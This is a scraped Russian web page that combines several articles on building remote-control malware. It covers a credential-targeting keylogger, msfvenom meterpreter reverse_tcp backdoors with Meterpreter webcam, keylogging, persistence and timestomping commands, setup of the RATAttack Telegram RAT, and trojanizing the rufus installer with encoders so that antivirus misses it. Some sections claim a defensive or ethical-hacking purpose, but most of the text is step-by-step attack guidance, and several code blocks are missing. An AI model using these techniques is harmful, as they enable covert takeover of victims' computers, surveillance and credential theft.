Как создать свой вирус который позволяет управлять компьютером
Перейти к содержимому

Как создать свой вирус который позволяет управлять компьютером

  • автор:

Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер

image

Хакерский мир можно условно разделить на три группы атакующих:

1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.

2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.

3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.

Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.

Зачем ИБ-персоналу эти сомнительные навыки?

Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.

Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.

Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.

Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.

Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:

Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:

Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:

Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.

Умный кейлогер

Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.

Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.

Вторая версия кода:

Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.

Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.

Еще более умный кейлогер

Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.

Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:

Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.

Для C# это выглядит так:

Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.

Бесплатно и полностью не обнаружим

В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.

Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?

Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

image

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.

Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.

В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.

HackWare.ru

Этичный хакинг и тестирование на проникновение, информационная безопасность

Скрытое управление компьютером на Windows (используя Metasploit)

Оглавление

  1. Введение
  2. Что такое полезная нагрузка (payload)
  3. Что такое бэкдоры и трояны
  4. Инструкция по использованию MSFvenom – генератора полезной нагрузки
  5. Как создать полезную нагрузку
  6. Виды полезной нагрузки MSFvenom
  7. Как узнать опции полезной нагрузки MSFvenom
  8. Форматы полезной нагрузки
  9. Примеры генерации полезной нагрузки в MSFvenom
  10. Работа с бэкдорами в Metasploit
  11. Основы работы в Meterpreter (Meta-Interpreter)
  12. Скрытый доступ к удалённому рабочему столу (VNC)
  13. Закрепление доступа
  14. Модули последующей эксплуатации Metasploit
  15. Когда обратный шелл не нужен
  16. Заключение

1. Введение

В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.

Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру, VNC серверами, TeamViewer (если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя Metasploit.

Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.

На протяжении все статьи будет постоянно употребляться термин «полезная нагрузка» (payload) и некоторые другие. Поэтому начнём с определения этих понятий.

2. Что такое полезная нагрузка (payload)

В статьях и учебниках по компьютерной безопасности можно часто встретить слово payload. Буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.

Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.

3. Что такое бэкдоры и трояны

Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).

В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.

Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.

Т.е. если мы к файлу программы «Калькулятор», добавили полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и, например, добавили файл в автозагрузку – то это будет бэкдор.

Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.

Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.

4. Инструкция по использованию MSFvenom – генератора полезной нагрузки

Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.

Знакомство с программой начнём со справки по её опциям.

В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).

5. Как создать полезную нагрузку

Для генерации полезной нагрузки обязательными являются два флага: -p and -f.

  • -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
  • lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
  • lport=4444 – порт, к которому будет делаться обратное соединение
  • -f exe – формат полезной нагрузки (исполнимый файл Windows)
  • -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл

6. Виды полезной нагрузки MSFvenom

Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.

Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:

Будет выведен такой список:

Список длинный, включает в себя 538 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.

Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.

Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.

Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.

Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу.

Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.

shell означает открытие командной оболочки.

Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.

В самом конце обычно стоит указание на используемый для соединения протокол, им может быть: http, https, tcp, ipv6_tcp, tcp_dns, winhttp, winhttps и другие варианты. Могут использоваться слова proxy (соответственно, соединение через прокси), allports (пробовать соединиться на всех возможных портах), uuid (соединение с поддержкой UUID).

Имеется несколько специфичных полезных нагрузок:

  • windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
  • windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
  • windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
  • windows/exec. Выполняет произвольную команду.
  • windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
  • windows/loadlibrary. Загружает библиотеку по произвольному пути.
  • windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.

По принципу работы, полезную нагрузку можно разделить на два типа:

  • «выстрелил и забыл» (может быть доставлена, например, на USB носителе, не требует сетевого соединения)
  • требующую дополнительных действий пользователя после запуска

К «выстрелил и забыл» можно отнести форматирование всех дисков, выполнение определённых команд, создание нового пользователя.

Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.

7. Как узнать опции полезной нагрузки MSFvenom

У многих полезных нагрузок имеются опции. Для их показа применяется флаг —list-options​. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.

Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.

Вспомним наш пример:

В нём lport=4444 можно было не указывать, поскольку всё равно применяется значение по умолчанию. А опция LHOST установлена как «lhost=IP_атакующего».

8. Форматы полезной нагрузки

Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.

Чтобы вывести список всех поддерживаемых форматов, выполните команду:

9. Примеры генерации полезной нагрузки в MSFvenom

Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:

Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой

Чтобы узнать внешний IP:

Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):

И будет создан файл backdoor.exe.

Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.

Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.

Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.

Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:

Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.

Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.

Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:

10. Работа с бэкдорами в Metasploit

На «атакующей» машине запускаем Metasploit:

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.

Нужно установить настройки – IP и порт локальной машины:

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.

Когда настройки сделаны, запустите выполнение модуля:

Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:

11. Основы работы в Meterpreter (Meta-Interpreter)

Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:

Основные команды:

Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.

Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:

Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:

Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:

Сетевые команды:

Системные команды:

Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.

Команды пользовательского интерфейса:

Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.

Для начала захвата нажатия клавиш введите:

Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:

Команды для управления веб-камерой:

На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните

В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):

Будет сделана и показана фотография с веб-камеры удалённого компьютера.

Команды вывода аудио:

Команды повышения привилегий:

Команда для работы с базой данных паролей:

Команды для работы с Timestomp (временными метками файла):

Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.

12. Скрытый доступ к удалённому рабочему столу (VNC)

Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:

Далее запустите Metasploit (если вы это ещё не сделали):

Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).

После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.

В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.

На машине атакующего должен быть установлен VNC клиент (просмотрщик).

13. Закрепление доступа

До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:

Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.

Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.

Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.

Ещё один пример:

Модуль вывел следующую информацию:

Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.

14. Модули последующей эксплуатации Metasploit

post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.

  • post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
  • post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
  • post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
  • post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows

Количество модулей достаточно велико:

Все эти модули можно применять во время сеанса Meterpreter.

15. Когда обратный шелл не нужен

Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.

Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).

Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.

16. Заключение

Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.

В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.

Вирус удалённого управления компьютером. Многофункциональный RAT на компьютер с управлением через Telegram.

На портале GitHub был опубликован исходный код нового трояна для удаленного доступа (RAT), использующего протокол Telegram для хищения информации с инфицированных устройств. RATAttack устанавливает зашифрованный канал между оператором и зараженным устройством с помощью протокола Telegram. Как утверждает разработчик инструмента, основная проблема большинства существующих на сегодняшний день RAT заключается в том, что они не используют шифрование и их операторы вынуждены настраивать переадресацию портов на устройстве жертвы для управления инфицированным компьютером.

Вирусописатель решил исправить это упущение и представил собственный инструмент под названием RATAttack, который устанавливает зашифрованный канал между оператором и жертвой, используя протокол Telegram. Прежде, чем начинать атаку, владелец RATAttack должен создать бот Telegram и встроить его токен (ключ) в конфигурационный файл трояна. Таким образом все инфицированные устройства будут подключаться к каналу бота и атакующий получит возможность отправлять простые команды для управления RATAttack на зараженном компьютере.

Вот список, что может данный ратник, а теперь пойдём дальше

Как установить?

Что необходимо для ратника:Python 3.8(32 bit)+ необходимые модули, бот в телеграме, его ключ и ваш ID . Установив питон,скачав архив, открываем файл RAT через IDLE например

Видим данные строки

в token мы пропишем токен бота, а в adm — ваш ID телеграма.

Но сейчас надо поставить модули.

открываем консоль и прописываем:

pip3 install python-opencv

pip3 install pytelegrambotapi

pip3 install pypiwin32

pip3 install pyaudio

Создаем бота в телеграме у @BotFather, после чего находим API

копируем длинную строчку без кавычек.

вставляем в RAT.py в строку token.

У бота @userinfobot узнаём свой ID. Тоже вставляем в RAT.py в строку adm

После чего,нажимаем Run Module(F5)

Бот прислал нам оповещение

Троян может действовать в качестве кейлоггера, собирать данные об установленной версии ОС Windows, процессоре и т.д., IP-адресе и приблизительном местоположении хоста, отображать сообщения, загружать и выгружать различные файлы, делать скриншоты, исполнять любые файлы на целевом компьютере, делать снимки с web-камеры, копировать, перемещать и удалять файлы, а также запускать процесс самоуничтожения.

По данным ресурса BleepingComputer, разработчик RATAttack не рекламировал троян на каких-либо хакерских форумах и опубликовал код только на GitHub. В настоящее время он уже удален с портала.

Мистический «отказ от ответственности» будет держать плохих ребят подальше

Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.

Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.

На гитхабе уже успели сделать форки. Пользователь @mvrozanti даже начал расширение функционала.

Вирус удаленного доступа, который не палится антивирусом

Приветствую всех читателей. Сегодня мы опять затронем тему создания вирусов. Хочется сразу сказать, что эта статья является основой для моей дальнейшей работы. Пусть вас не смущает то, что мы никак не скрываем вирус, этим мы займемся в дальнейшем. Здесь я просто показываю, как создать зловред, чтобы потом данную информацию не приходилось дублировать в будущем.
Сегодня же наша цель создать вирус удаленного доступа, который впоследствии мы будем скрывать под различными обертками

Тем у кого Kali Linux уже установлен достаточно просто открыть терминал. Пользоваться мы будем Msfvenom. Я покажу несколько вариантов создания полезной нагрузки. Объясню по частям, что означает каждая из частей команды (на последнем варианте), а также приведу команды, которые понадобятся для того, чтобы управлять компьютером жертвы.

1 Вариант

Начнем с самого простого, а именно вот с такой команды:

Ничего замудренного. В LHOST вы должны указать свой IP адрес, узнать его можно при помощи команды ifconfig (у меня это 192.168.200.132). Так как мы атакуем только свои компьютеры и только в локальной сети, я прописываю свой локальный IP. Созданный файл сохранится в той директории, в которой вы сейчас находитесь.

2 Вариант

Команда немного усовершенствована. Добавлено шифрование (-e x86/shikata_ga_nai) в несколько итераций, в данном случае их 5 ( -i 5).

Пример для другого типа шифрования:

Вы можете выбрать свой тип шифрования. Для просмотра доступных кодировщиков пропишите

3 Вариант

Тут я задействую сторонний exe файл какой-либо программы, который нужно предварительно скачать и перед вводом команды перейти в папку, содержащий данный exe файл.

Поясняю, что тут есть что.

  • —platform windows — платформа Windows
  • -x rufus-3.8.exe — файл, который мы заражаем
  • -k — нужен для встраивания нагрузки
  • -p windows/meterpreter/reverse_tcp — тип полезной нагрузки
  • lhost=192.168.200.132 — ip компьютера атакующего (ваш IP)
  • -e cmd/powershell_base64 — шифрование (оно и помогло не спалиться)
  • -i 10 — количество итераций шифрования
  • -f exe — формат файла
  • -o rufus-3.8.exe — файл, который вы получите на выходе

На выходе вы получаете файл с такой же иконкой и названием как у оригинала, но только с вирусом удаленного доступа внутри.

Тестировать всё это буду на самой новой Win10 со всеми обновлениями. Вирус без шифрования и с шифрованием x86/shikata_ga_nai без проблем поймались антивирусом. А вот вирус с шифрованием cmd/powershell_base64 остался незамеченным. Avast "говорит", что с данным файлом всё в порядке. Вот это действительно сюрприз.

Я сделал запись с экрана, как я провожу сканирование, чтобы мне потом не писали в комментариях, что автор обманывает. Вот ссылка на эту запись. Хотя по-любому останутся те, кто не верит.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *